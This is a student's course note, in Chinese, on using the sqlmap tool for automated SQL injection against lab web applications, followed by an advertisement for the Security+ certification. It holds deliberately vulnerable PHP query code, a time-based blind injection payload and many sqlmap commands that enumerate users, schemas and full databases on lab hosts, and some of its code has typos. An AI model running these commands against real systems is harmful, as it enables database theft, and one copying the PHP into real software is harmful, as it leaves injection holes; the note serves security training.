1. 程式人生 > >【安全牛學習筆記】SQLMAP- 自動註入

【安全牛學習筆記】SQLMAP- 自動註入

信息安全 security+ 自動註入

課時92 SQLMAP- 自動註入

SQLMAP自動註入

開源sql註入漏洞檢測、利用工具

檢測動態頁面中get/post參數、cookie、http頭

數據榨取

文件系統訪問

操作系統命令執行

引擎強大、特性豐富

Xss漏洞檢測

------------------------------------------------------------------------------

低安全代碼

<?php

if (isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';

$result = mysql_query($getid);

$num = @mysql_numrows($result);

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;

echi '</pre>';

$i++;

}

}

?>

------------------------------------------------------------------------------

中安全代碼

<?php

if (isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$id = mysql_real_escape_string($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';

$result = mysql_query($getid); // Removed or die' to suppres mysql errors

$num = @mysql_numrows($result); // The '@' character supressed errors making the injection bling

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;

echi '</pre>';

$i++;

}

}

?>

-------------------------------------------------------------------------

高安全代碼

<?php

if (isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$id = stripslashed($id);

$id = mysql_real_escape_string($id);

$getid = "SELECT first_name,last_name FROM users WHERE user_id ='$id';

$result = mysql_query($getid); // Removed or die' to suppres mysql errors

$num = @mysql_numrows($result); // The '@' character supressed errors making the injection bling

$i = 0;

while ($i < $num){

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>first_name: ' . $first . '<br>Surname: ' . $last;

echi '</pre>';

$i++;

}

}

?>

------------------------------------------------------------------------

SQLMAP自動註入

五種漏洞檢測技術

基於布爾的盲註檢測

基於時間的盲註檢測

'and (select * from (select(sleep(20)))a)--+

基於錯誤的檢測

基於UNION聯合查詢的檢測

適用於通過循壞直接輸出聯合查詢結果,否則只顯示第一項結果

基於堆疊查詢的檢測

;堆疊多個查詢語句

適用於非select的數據修改、刪除的操作

支持的數據庫管理系統DBMS

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,

Firebird,Sybase,SAP MaxDB

SQLMAP自動註入

其他特性

數據庫直接連接-d

不通過SQL註入,制定×××信息、IP、端口

與burpustie、google結合適用,支持政策表達式限定測試目標

Get、post、cookie、Referer、User-Agent(隨機或指定)

Cookie過期後自動處理Set-Cookie頭,更新cookie信息

限速:最大並發、延遲發送

支持Basic,Digest,NTLM,CA身份認證

數據庫版本、用戶、權限、hash枚舉和字典破解、暴力破解表列名稱

文件上傳下載、UDF、啟動並執行存儲過程、操作系統命令執行、訪問windows註冊表

與w3af、metasploit集成結合適用,基於數據庫服務進程提權和上傳執行後門

SQLMAP自動註入

基於python2.7開發

安裝

apt-get install git

git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

升級

sqlmap --update 在線

git pull 離線

Kali集成板隨kali庫更新

root@R:~# sqlmap --update

root@R:~# sqlmap --version //查看sqlmap版本

root@R:~# git clone https://gihub.com/sqlmapproject/sqlmap.git sqlmap-dev

SQLMAP自動註入

sqlmap -h / -hh

sqlmap -d "mysql://root:@192.168.20.10:3306/dvwa" -f -users

--banner --dbs --schema -a

sqlmap --version -v

日誌

sqlmap

輸出

輸出內容詳細度分7個等級

root@R:~# sqlmap -h

root@R:~# sqlmap -hh //所有的參數

SQLMAP自動註入

Get方法

sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-

info.php&username=11&password=22&user-info-php-submit-

button=View+Account+Details" -p username -f

掃描URL列表文件

http://1.1.1.1/vuln.php?q=foobar

http://1.1.1.1/vuln3/id/1*

sqlmap -m list.txt

掃描google搜索結果

sqlmap.py -g "inurl:\".php?id=1\""

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username

文件保存到/root/.sqlmap/output

root@R:~# cd .sqlmap/

root@R:~/.sqlmap# ls

output

root@R:~/.sqlmap# cd output/

root@R:~/.sqlmap/output# ls

192.168.1.121

root@R:~/.sqlmap/output# cd 192.168.1.121

root@R:~/.sqlmap/output/192.168.1.121# ls

log session.sqlite target.txt

root@R:~/.sqlmap/output/192.168.1.121# more log

root@R:~/.sqlmap/output/192.168.1.121# more session.sqlite

root@R:~/.sqlmap/output/192.168.1.121# more target.txt

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --users

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --banner

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema

root@R:~# sqlmap -u "http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username --schema -a //所有

root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -users

root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -banner

root@R:~# sqlmap -d "mysql://[email protected]:3306/dvwa" -f -a

root@R:~# vi list

http://192.168.20.10/muilldae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details

root@R:~# sqlmap -m list.txt --dbs

root@R:~# sqlmap -m list.txt --user

SQLMAP自動註入

POST方法

使用http請求文件(burpsuite)

sqlmap -r request.txt

使用burpsuite log文件

sqlmap -l log.txt

HTTPS

sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl

掃描配置文件

sqlmap -c sqlmap.conf

root@R:~# vi post

User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Icweasel/43.0.4

Accept: text/htm,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accep-Encoding: gzip, deflate

Referer: http://192.168.1.121/murillidae/index.php?page=login.php

Cookie: PHPSESSID=558206c48166fc5523a87b591100fb3e

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

useranme=1&password=11&login-php-submin-button=login

root@R:~# sqlmap -r post.txt --dbs

root@R:~# dpkg -L sqlmap | grep sqlmap.com

/etc/sqlmap/sqlmap.conf

/usr/share/doc/sqlmap/examples/sqlmap.conf.gz

root@R:~# cat /etc/sqlmap/sqlmap.conf

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂


Security+認證為什麽是互聯網+時代最火爆的認證?

牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。


【安全牛學習筆記】SQLMAP- 自動註入